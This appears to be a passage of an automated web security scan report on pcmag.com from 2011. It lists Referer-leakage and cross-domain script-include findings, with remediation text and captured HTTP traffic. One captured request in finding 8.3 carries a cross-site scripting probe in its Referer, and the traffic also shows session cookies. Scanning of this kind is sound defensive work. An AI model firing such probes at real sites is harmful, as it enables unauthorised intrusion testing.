http://www.ziffdavis.com/about/privacy
http://www.ziffdavis.com/about/terms
http://www.ziffdavis.com/js/betrad.js
https://www.neodata.com/ITPS2.cgi?ItemCode=IBMP&OrderType=Reply+Only&iResponse=IBMP.INQUIRY
https://www.zdmcirc.com/zdmcirc/default.asp?LK=banbttm&I=ibmp
https://www.zdmcirc.com/zdmcirc/default.asp?LK=pcmftr&I=ibmp
https://www.zdmcirc.com/zdmcirc/default.asp?LK=pcmhdr&I=ibmp
https://www.zdmcirc.com/zdmcirc/default.asp?LK=pcmrtcol&I=ibmp

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /article2/0,2817,2386340,00.asp?kc=PCRSS03069TX1K0001121 HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: p3
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Fri, 03 Jun 2011 01:34:45 GMT
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
X-Powered-By: ASP.NET
Vary: *
Cache-Control: public, max-age=0
Expires: Fri, 03 Jun 2011 01:39:40 GMT
Date: Fri, 03 Jun 2011 01:39:40 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 98281

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>I
...[SNIP]...
<link href="http://www.pcmag.com/article2/0,2817,2386340,00.asp" rel="canonical" />

<link href="http://rssnewsapps.ziffdavis.com/pcmag.xml" rel="alternate" title="PC Magazine: New Product Reviews" type="application/rss+xml" />

</head>
...[SNIP]...
</script>

<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...
<strong class="zdlogo">
<a href="http://www.ziffdavis.com"></a>
...[SNIP]...
<li><a href="http://www.twitter.com/pcmag" class="twitter">FOLLOW US</a>
...[SNIP]...
<li><a href="http://www.facebook.com/pcmagazine" class="facebook">LIKE</a>
...[SNIP]...
<li><a href="http://digg.com/pcmag" class="digg">DIGG</a>
...[SNIP]...
<div class="subscribe-image">
<a href="https://www.zdmcirc.com/zdmcirc/default.asp?LK=banbttm&I=ibmp"> </a>
...[SNIP]...
<div class="subscribe-content">
<a class="eyebrowlink" href="https://www.zdmcirc.com/zdmcirc/default.asp?LK=pcmhdr&I=ibmp">Try<br>
...[SNIP]...
<br/>
<a class="eyebrowtext" href="https://www.zdmcirc.com/zdmcirc/default.asp?LK=pcmhdr&I=ibmp">Now Only $1.50/Month</a>
...[SNIP]...
<div class="subscribe-content">
<a class="eyebrowlink" href="http://www.facebook.com/pcmagazine">PCMag on Facebook</a><br/>
<a class="eyebrowtext" href="http://www.facebook.com/pcmagazine">Connect with the PCMag Community on Facebook <span>
...[SNIP]...
<div class="subscribe-image">
<a href="http://www.twitter.com/pcmag"> </a>
...[SNIP]...
<div class="subscribe-content">
<a class="eyebrowlink" href="http://www.twitter.com/pcmag">PCMag on Twitter</a><br/>
<a class="eyebrowtext" href="http://www.twitter.com/pcmag">Follow our Editors, PCMag Coverages and blogs <span>
...[SNIP]...
<a href='/author-bio/mark-hachman'><img border="0" alt="Mark Hachman" width="30" height="30" src="http://common5.ziffdavisinternet.com/util_get_image/29/0,1468,i=298429,00.jpg" /></a>
...[SNIP]...
</script>
    <a class="DiggThisButton DiggCompact" href="http://digg.com/submit?url=http://www.pcmag.com/article2/0,2817,2386340,00.asp&title=In+the+Car+with+Ford's+'Look+Out!'+Network%3a+Hands+On">
</a>
...[SNIP]...
<span class="slide-tweet">
<a href="http://twitter.com/share" class="twitter-share-button" data-count="horizontal" data-url="http://www.pcmag.com/article2/0,2817,2386340,00.asp" data-text="In the Car with Ford's 'Look Out!' Network: Hands On" data-count="vertical" data-via="pcmag">Tweet</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
<span class="slide-like">
<a name="fb_share" href="http://www.facebook.com/plugins/like.php?url=http://www.pcmag.com/article2/0,2817,2386340,00.asp&title=In+the+Car+with+Ford's+'Look+Out!'+Network%3a+Hands+On"></a>
<script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript">
</script>
...[SNIP]...
<span class="slide-stumble">
   <script src="http://www.stumbleupon.com/hostedbadge.php?s=2" type="text/javascript"></script>
   <a name="stumble" href="http://stumbleupon.com/submit?url=http://www.pcmag.com/article2/0,2817,2386340,00.asp&title=In+the+Car+with+Ford's+'Look+Out!'+Network%3a+Hands+On"></a>
...[SNIP]...
<span style="margin: 0 10px 0 0;float:left;"><img alt='Ford's DSRC Hazard Indicator' border='0' class='photo' width='150' height='150' src='http://common1.ziffdavisinternet.com/util_get_image/30/0,1468,i=305014,00.jpg'/></span>
...[SNIP]...
<a href="http://www.pcmag.com/slideshow_viewer/0,3253,l%253D265152%2526a%253D265152%2526po%253D1,00.asp?p=n">
<img src="http://common6.ziffdavisinternet.com/util_get_image/30/0,1468,i=304792,00.jpg" width="85" height="85" alt="Ford Cars Line Up" align="align"></img>
...[SNIP]...
<a href="http://www.pcmag.com/slideshow_viewer/0,3253,l%253D265152%2526a%253D265152%2526po%253D1,00.asp?p=n">
<img src="http://common8.ziffdavisinternet.com/util_get_image/30/0,1468,i=304790,00.jpg" width="85" height="85" alt="Ford Focus" align="align"></img>
...[SNIP]...
<a href="http://www.pcmag.com/slideshow_viewer/0,3253,l%253D265152%2526a%253D265152%2526po%253D1,00.asp?p=n">
<img src="http://common1.ziffdavisinternet.com/util_get_image/30/0,1468,i=304794,00.jpg" width="85" height="85" alt="Ford Dash" align="align"></img>
...[SNIP]...
<a href="http://www.pcmag.com/slideshow_viewer/0,3253,l%253D265152%2526a%253D265152%2526po%253D1,00.asp?p=n">
<img src="http://common3.ziffdavisinternet.com/util_get_image/30/0,1468,i=304795,00.jpg" width="85" height="85" alt="Passing Attempt" align="align"></img>
...[SNIP]...
ld verbally report if a lane was safe to enter as soon as the driver turned on his turn signal, or warn the driver to check his rear-view mirror for an hazard behind his vehicle. (Michael Sheehan, the <a href="http://www.hightechdad.com/">HighTechDad</a>
...[SNIP]...
<i>For more from Mark, follow him on Twitter <a href="http://twitter.com/MarkHachman" target="_blank">@MarkHachman</a>
...[SNIP]...
<i>For the top stories in tech, follow us on Twitter at <a href="http://twitter.com/pcmag" target="_blank">@PCMag</a>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
<noscript>Please enable JavaScript to view the <a href="http://disqus.com/?ref_noscript=pcmag">comments powered by Disqus.</a></noscript>
<a href="http://disqus.com" class="dsq-brlink">blog comments powered by <span class="logo-disqus">
...[SNIP]...
<li><a target="_blank" href="http://ad.doubleclick.net/clk;222060341;31036038;j?http://www.pcmag.com/infocenter/shop_aisle.aspx?aisleid=54&sb=2&so=1"><img border="0" src="http://common4.ziffdavisinternet.com/util_get_image/30/0,,i=303917,00.jpg" class="none" alt="HP"></a></li>
   <li><a target="_blank" href="http://ad.doubleclick.net/clk;236733406;13401844;y?http://www.pcmag.com/infocenter/shop_aisle.aspx?aisleid=59"><img border="0" src="http://common8.ziffdavisinternet.com/util_get_image/14/0,1468,i=145861,00.gif" class="none" alt="Kodak"></a></li>
   <li><a target="_blank" href="http://ad.doubleclick.net/clk;233627343;5355897;s?http://www.pcmag.com/infocenter/shop_aisle.aspx?aisleid=24"><img border="0" src="http://common1.ziffdavisinternet.com/util_get_image/21/0,1468,i=213322,00.gif" class="none" alt="Lenovo Premium Partner Image"></a>
...[SNIP]...
<li><a href="http://ad.doubleclick.net/clk;239207666;7109927;t?http://www.idrive.com/?refer=PCMSTL1" target="_blank">Protect your PC/Mac with IDrive Online Backup, 5GB FREE, 150GB only $4.95/month</a>
...[SNIP]...
<li><a href="http://www.adobe.com/products/captivate.html?sdid=ISQOD" target="_blank">Transform presentations into eLearning content with Adobe® Captivate® 5.5.</a>
...[SNIP]...
<li><a href="http://ad.doubleclick.net/click;h=v2|3DE1|0|0|%2a|h;241340596;0-0;0;64058737;31-1|1;42208739|42226526|1;;%3fhttp://products.verizonwireless.com/index.aspx?id=fnd_tablets&cmp=BAC-OM-110512TABLET" target="_blank">We'll help you find the perfect tablet, at a great price. Verizon.</a>
...[SNIP]...
<li><a href="http://www.brother-usa.com/lp/laser-printer.aspx?WT.mc_id=AWARD&Wt.mc_ev=click" target="_blank">Brother® printers rated #1 in reliability by PCMag.com readers.</a>
...[SNIP]...
<li><a href="http://ad.doubleclick.net/clk;241336664;62873551;l;pc=[TPAS_ID]" target="_blank">Save now with the best deals from CDW. Click here to save on desktops, notebooks, LCDs and more.</a>
...[SNIP]...
<li><a href="http://ad.doubleclick.net/clk;241366082;7109927;k?http://www.cisco.com/go/xerox" target="_blank">Cisco and Xerox: Delivering new managed print solutions. Learn More</a>
...[SNIP]...
<li><a href="http://ad.doubleclick.net/clk;240887297;13401844;l?http://www.pcmag.com/article2/0,2817,2383651,00.asp" target="_blank">Get the Editors' Choice award-winning Toshiba Portege R835-P50X at Best Buy for just $749.99</a>
...[SNIP]...
<li><a href="http://ad.doubleclick.net/clk;240886140;13401844;x?http://adsfac.us/link.asp?cc=ESE002.310524.0" target="_blank">ESET Smart Security is your best defense against viruses, hackers and spam.</a>
...[SNIP]...
<li><a href="http://ad.doubleclick.net/clk;240681594;13401844;d?http://www.cisco.com/en/US/prod/wireless/cleanair.html" target="_blank">Secure 802.11n performance with Cisco CleanAir technology. Learn How</a>
...[SNIP]...
<li><a href="http://bs.serving-sys.com/BurstingPipe/adServer.bs?cn=tf&c=20&mc=click&pli=2389655&PluID=0&ord=[timestamp]" target="_blank">Switch to a Kodak Printer available at Wal-Mart</a>
...[SNIP]...
<li><A HREF="http://ad.doubleclick.net/clk;237617927;7109927;w?http://www.bitdefender.com/2011/en/2in1security/index.html?cid=%20na_us_pcmag2for1_text" target="_blank">Download BitDefenders award winning PC protection and Get a 2nd year free.</a>
...[SNIP]...
<li><a href="http://ad.doubleclick.net/clk;239079229;13401844;h? http://www.visioneer.com/mobility" target="_blank">Visioneer Mobility. Experience the freedom of true mobility. Scan without a computer, cables or software.</a>
...[SNIP]...
<li><a href="http://ad.doubleclick.net/clk;239258638;7109927;y?http://www.sosonlinebackup.com/landing-pages/PCMag/PCM20pct/index.htm?utm_source=PCMAG&utm_medium=cpc&utm_term=&utm_content=Textlink&utm_campaign=PCMagTextlink" target="_blank">SOS Online Backup - PC Magazine's Editors' Choice  SAVE 20% Now!</a>
...[SNIP]...
<li><a href="http://ad.doubleclick.net/clk;238058072;60929104;f" target="_blank">Now available! Get the PCMag.com Editor Choice Lenovo ThinkPad X220 now!</a>
...[SNIP]...
<li>
<a href="http://www.shopping.hp.com/supplies/ink?aoid=12655?ci_src=16996395&ci_sku=Supplies_Textlink1." target="_blank">Buy one ink, get one 40% off PLUS free, next-day delivery from HP</a>
...[SNIP]...

<img src="http://ad.doubleclick.net/imp;v1;f;241340596;0-0;0;64058737;1|1;42208739|42226526|1;;cs=s%3fhttp://ad.doubleclick.net/dot.gif?[timestamp]" width="1" height="1" border="0">

...[SNIP]...

<IMG SRC="http://ad.doubleclick.net/ad/N1260.pcmag/B5448313.4;sz=1x1;pc=[TPAS_ID];ord=[timestamp]?" width="1" height="1" border="0">

...[SNIP]...
<div id="lbwidget_footer">
       <a href="http://www.logicbuy.com/?utm_source=laptopmag&utm_medium=widget&utm_content=header&utm_campaign=link" target="_blank">
           <span>
...[SNIP]...
</span>
           <img src="http://www.symbiosting.com/LogicBuy/images/logicbuy-logo.png" alt="Hot Deals and Coupons Powered by LogicBuy" width="100" height="16" border="0" longdesc="http://www.logicbuy.com">
       </a>
...[SNIP]...
<div class="fb-like">
       <iframe src="http://www.facebook.com/plugins/like.php?href=www.facebook.com%2Fpcmagazine&layout=button_count&show_faces=false&width=100&action=like&colorscheme=light&height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:21px;" allowTransparency="true"></iframe>
...[SNIP]...
<div>
       <iframe src="http://www.facebook.com/plugins/activity.php?site=www.pcmag.com&width=300&height=300&header=false&colorscheme=light&font=arial&border_color=%23ffffff&recommendations=false" scrolling="no"frameborder="0" style="border:none; overflow:hidden; width:300px;height:300px;" allowTransparency="true"></iframe>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
<div class="subscription">
<a href="https://www.zdmcirc.com/zdmcirc/default.asp?LK=pcmrtcol&I=ibmp">Subscribe to PC Magazine Digital Edition:
<span>
...[SNIP]...
<div class="subscribe-image">
<a href="https://www.zdmcirc.com/zdmcirc/default.asp?LK=pcmrtcol&I=ibmp"> <img src="/img/magcovers.png"/>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pcmag.us.intellitxt.com/intellitxt/front.asp?ipid=5279"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.min.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script>
...[SNIP]...
<li><a href="http://www.appscout.com/">AppScout</a></li>
<li><a href="http://www.extremetech.com/">ExtremeTech</a>
...[SNIP]...
<li><a href="http://www.gearlog.com/">Gearlog</a>
...[SNIP]...
<li><a href="http://www.techsaver.com/">TechSaver</a>
...[SNIP]...
<div class="zdcorporate">
<a href="http://www.ziffdavis.com/">Ziff Davis Corporate</a>
...[SNIP]...
<li><a href="http://www.twitter.com/pcmag">Twitter (@pcmag)<span class="twitter-footer">
...[SNIP]...
<li><a href="http://www.facebook.com/pcmagazine">Facebook<span class="facebook-footer">
...[SNIP]...
<li><a href="http://digg.com/pcmag">Digg<span class="digg-footer">
...[SNIP]...
<li><a href="http://www.youtube.com/user/PCMagazineReviews">YouTube<span class="youtube-footer">
...[SNIP]...
<li><a href="http://www.google.com/profiles/pcmagbuzz">Google Buzz<span class="buzz-footer">
...[SNIP]...
<li><a href="http://www.tweetmixx.com/pcmag">TweetMixx<span class="mixx-footer">
...[SNIP]...
<li><a href="http://www.ziffdavis.com/">Advertise</a>
...[SNIP]...
<li><a href="http://www.ziffdavis.com/about/link-to-us">Link to Us</a>
...[SNIP]...
<br>
<a href="https://www.zdmcirc.com/zdmcirc/default.asp?LK=pcmhdr&I=ibmp">PC/Mac,</a>
<a href="http://www.amazon.com/PC-Magazine/dp/B002A9JXY8/ref=sr_1_1?ie=UTF8&m=AG56TWVU5XWC2&s=digital-text&qid=1285781466&sr=1-1">Kindle,</a>
<a href="http://search.barnesandnoble.com/PC-Magazine/Ziff-Davis-Media/e/2940000280966/?itm=1&USRI=pc+magazine">Nook,</a><br>
<a href="http://ebookstore.sony.com/periodical/_/R-400000000000000198452">Sony Reader,</a>
<a href="https://www.zdmcirc.com/zdmcirc/default.asp?LK=pcmhdr&I=ibmp">iOS,</a>
<a href="https://www.zdmcirc.com/zdmcirc/default.asp?LK=pcmhdr&I=ibmp">Android</a></li>
<li><a href="https://www.neodata.com/ITPS2.cgi?ItemCode=IBMP&OrderType=Reply+Only&iResponse=IBMP.INQUIRY">Customer Service</a>
...[SNIP]...
<div>
<a class="zdmcirc" href="https://www.zdmcirc.com/zdmcirc/default.asp?LK=pcmftr&I=ibmp"></a>
<h2><a href="https://www.zdmcirc.com/zdmcirc/default.asp?LK=pcmftr&I=ibmp">Subscribe to<br>
...[SNIP]...
<p>Use of this site is governed by our <a href="http://www.ziffdavis.com/about/terms" style="color:#fff!important;">Terms of Use</a> and <a href="http://www.ziffdavis.com/about/privacy" style="color:#fff!important;">Privacy Policy</a>
...[SNIP]...

<script src="http://www.ziffdavis.com/js/betrad.js" type="text/javascript"></script>
...[SNIP]...
<noscript>
<img src="http://b.scorecardresearch.com/p?c1=2&c2=6885615&c3=&c4=&c5=&c6=&c15=&cj=1" />
</noscript>
...[SNIP]...

8. Cross-domain script include previous next
There are 10 instances of this issue:

/CombineCssHandler.ashx
/CombineScriptHandler.aspx
/Content/images/ui-bg_glass_75_ffffff_1x400.png
/article2/0,2817,2386340,00.asp
/category2/0,2806,21,00.asp
/join/0,,,00.asp
/slideshow/story/264827/the-people-behind-the-most-innovative-laptop-designs
/slideshow/story/264996/six-amazing-phone-technologies-we-want-in-iphone-5
/slideshow/story/265120/9-features-we-d-like-to-see-in-ios-5
/slideshow/story/265209/five-security-apps-that-can-help-recover-a-stolen-laptop

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

8.1. http://www.pcmag.com/CombineCssHandler.ashx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/CombineCssHandler.ashx

Issue detail

The response dynamically includes the following script from another domain:

http://common.ziffdavisinternet.com/js/s_code_remote.js

Request

GET /CombineCssHandler.ashx HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: Microsoft-IIS/6.0
X-Powered-By: p3
Content-Length: 24559
Content-Type: text/html
Vary: Accept-Encoding
Cache-Control: private, max-age=1209600
Date: Fri, 03 Jun 2011 20:43:02 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<script langu
...[SNIP]...
</script>
<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...

8.2. http://www.pcmag.com/CombineScriptHandler.aspx previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/CombineScriptHandler.aspx

Issue detail

The response dynamically includes the following script from another domain:

http://common.ziffdavisinternet.com/js/s_code_remote.js

Request

GET /CombineScriptHandler.aspx HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

8.3. http://www.pcmag.com/Content/images/ui-bg_glass_75_ffffff_1x400.png previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/Content/images/ui-bg_glass_75_ffffff_1x400.png

Issue detail

The response dynamically includes the following script from another domain:

http://common.ziffdavisinternet.com/js/s_code_remote.js

Request

GET /Content/images/ui-bg_glass_75_ffffff_1x400.png HTTP/1.1
Host: www.pcmag.com
Proxy-Connection: keep-alive
Referer: http://www.pcmag.com/article2/0,2817,2386340,00.asp?1498e'-alert(%22XSS%22)-'91bfac6969f=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.71 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __vrf=zctfzndiw2qbkpwg; __vru=http://www.pcmag.com/article2/0,2817,2386340,00.asp; s_cc=true; sc_id=null; s_sq=%5B%5BB%5D%5D; pcdishash=e30= 8c6a9fc52a2cfb5bba97676108bf17da4fa90c2c 1307123798; pcdishashtest=anonymous; __utmz=146023605.1307123699.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/32; __utma=146023605.319256951.1307123683.1307123683.1307123683.1; __utmc=146023605; __utmb=146023605.1.10.1307123683; successpage=/article2/0%2C2817%2C2386340%2C00.asp

Response

HTTP/1.1 404 Not Found
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Length: 24557
Content-Type: text/html
Vary: Accept-Encoding
Cache-Control: private, max-age=1209597
Date: Fri, 03 Jun 2011 17:55:01 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
<script langu
...[SNIP]...
</script>
<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...

8.4. http://www.pcmag.com/article2/0,2817,2386340,00.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/article2/0,2817,2386340,00.asp

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.min.js
http://api.recaptcha.net/js/recaptcha_ajax.js
http://common.ziffdavisinternet.com/js/s_code_remote.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://pcmag.us.intellitxt.com/intellitxt/front.asp?ipid=5279
http://platform.twitter.com/widgets.js
http://static.ak.fbcdn.net/connect.php/js/FB.Share
http://www.stumbleupon.com/hostedbadge.php?s=2
http://www.ziffdavis.com/js/betrad.js

Request

GET /article2/0,2817,2386340,00.asp HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
Content-Type: text/html; charset=iso-8859-1
Last-Modified: Fri, 03 Jun 2011 01:40:06 GMT
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
X-Powered-By: ASP.NET
Vary: *
Cache-Control: public, max-age=0
Expires: Fri, 03 Jun 2011 01:39:39 GMT
Date: Fri, 03 Jun 2011 01:39:39 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 98231

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>I
...[SNIP]...
</script>

<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...
</a>
<script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
</a>
<script src="http://static.ak.fbcdn.net/connect.php/js/FB.Share" type="text/javascript">
</script>
...[SNIP]...
<span class="slide-stumble">
<script src="http://www.stumbleupon.com/hostedbadge.php?s=2" type="text/javascript"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://pcmag.us.intellitxt.com/intellitxt/front.asp?ipid=5279"></script>
...[SNIP]...
</script>
<script type="text/javascript" src="http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.min.js"></script>
...[SNIP]...
</script>

<script type="text/javascript" src="http://api.recaptcha.net/js/recaptcha_ajax.js"></script>
...[SNIP]...

<script src="http://www.ziffdavis.com/js/betrad.js" type="text/javascript"></script>
...[SNIP]...

8.5. http://www.pcmag.com/category2/0,2806,21,00.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/category2/0,2806,21,00.asp

Issue detail

The response dynamically includes the following scripts from other domains:

http://common.ziffdavisinternet.com/js/common_util_js.js
http://common.ziffdavisinternet.com/js/jquery-1.3.2.min.js
http://common.ziffdavisinternet.com/js/s_code_remote.js
http://common.ziffdavisinternet.com/js/validate.min.js
http://dinclinx.com/?s=127&t=28&e=0&f=javascript
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://www.ziffdavis.com/js/betrad.js

Request

GET /category2/0,2806,21,00.asp HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
Content-Type: text/html
Content-Type: text/html
Cache-Control: private, max-age=3544
Date: Fri, 03 Jun 2011 20:43:06 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 70108



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
<div class="whitepaperlinks">

<script src="http://dinclinx.com/?s=127&t=28&e=0&f=javascript" type="text/javascript"></script>
...[SNIP]...

<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...

<script src="http://www.ziffdavis.com/js/betrad.js" type="text/javascript"></script>
...[SNIP]...

8.6. http://www.pcmag.com/join/0,,,00.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/join/0,,,00.asp

Issue detail

The response dynamically includes the following scripts from other domains:

http://common.ziffdavisinternet.com/js/common_util_js.js
http://common.ziffdavisinternet.com/js/jquery-1.3.2.min.js
http://common.ziffdavisinternet.com/js/s_code_remote.js
http://common.ziffdavisinternet.com/js/validate.min.js
http://www.ziffdavis.com/js/betrad.js

Request

GET /join/0,,,00.asp HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: p3
Content-Length: 33690
Content-Type: text/html
Expires: Fri, 03 Jun 2011 20:43:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Fri, 03 Jun 2011 20:43:07 GMT
Connection: close
Set-Cookie: ASPSESSIONIDSASSRQTB=DDGPGONDIHEEMFNLKOEAIOBM; path=/



<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<
...[SNIP]...
<link rel="stylesheet" href="/css/cobrandvignette.css" type="text/css" />
<script type="text/javascript" src="http://common.ziffdavisinternet.com/js/jquery-1.3.2.min.js"></script><script type="text/javascript" src="http://common.ziffdavisinternet.com/js/validate.min.js"></script>
...[SNIP]...


<script type="text/javascript" src="http://common.ziffdavisinternet.com/js/common_util_js.js"></script>
...[SNIP]...
</script>
<script language="JavaScript" src="http://common.ziffdavisinternet.com/js/s_code_remote.js"></script>
...[SNIP]...

<script src="http://www.ziffdavis.com/js/betrad.js" type="text/javascript"></script>
...[SNIP]...

8.7. http://www.pcmag.com/slideshow/story/264827/the-people-behind-the-most-innovative-laptop-designs previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.pcmag.com
Path:	/slideshow/story/264827/the-people-behind-the-most-innovative-laptop-designs

Issue detail

The response dynamically includes the following scripts from other domains:

http://ajax.microsoft.com/ajax/jquery.validate/1.7/jquery.validate.min.js
http://api.recaptcha.net/js/recaptcha_ajax.js
http://common.ziffdavisinternet.com/js/s_code_remote.js
http://content.dl-rms.com/rms/18788/nodetag.js
http://pagead2.googlesyndication.com/pagead/show_ads.js
http://pcmag.us.intellitxt.com/intellitxt/front.asp?ipid=5279
http://platform.twitter.com/widgets.js
http://static.ak.fbcdn.net/connect.php/js/FB.Share
http://widgets.digg.com/buttons.js
http://www.stumbleupon.com/hostedbadge.php?s=2
http://www.ziffdavis.com/js/betrad.js

Request

GET /slideshow/story/264827/the-people-behind-the-most-innovative-laptop-designs HTTP/1.1
Host: www.pcmag.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Microsoft-IIS/6.0
X-Powered-By: p3
Content-Type: text/html; charset=utf-8
X-AspNet-Version: 2.0.50727
X-AspNetMvc-Version: 1.0
X-Powered-By: ASP.NET
Cache-Control: private, max-age=28
Expires: Fri, 03 Jun 2011 20:43:33 GMT
Date: Fri, 03 Jun 2011 20:43:05 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 92723

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>T
...[SNIP]...
</script>

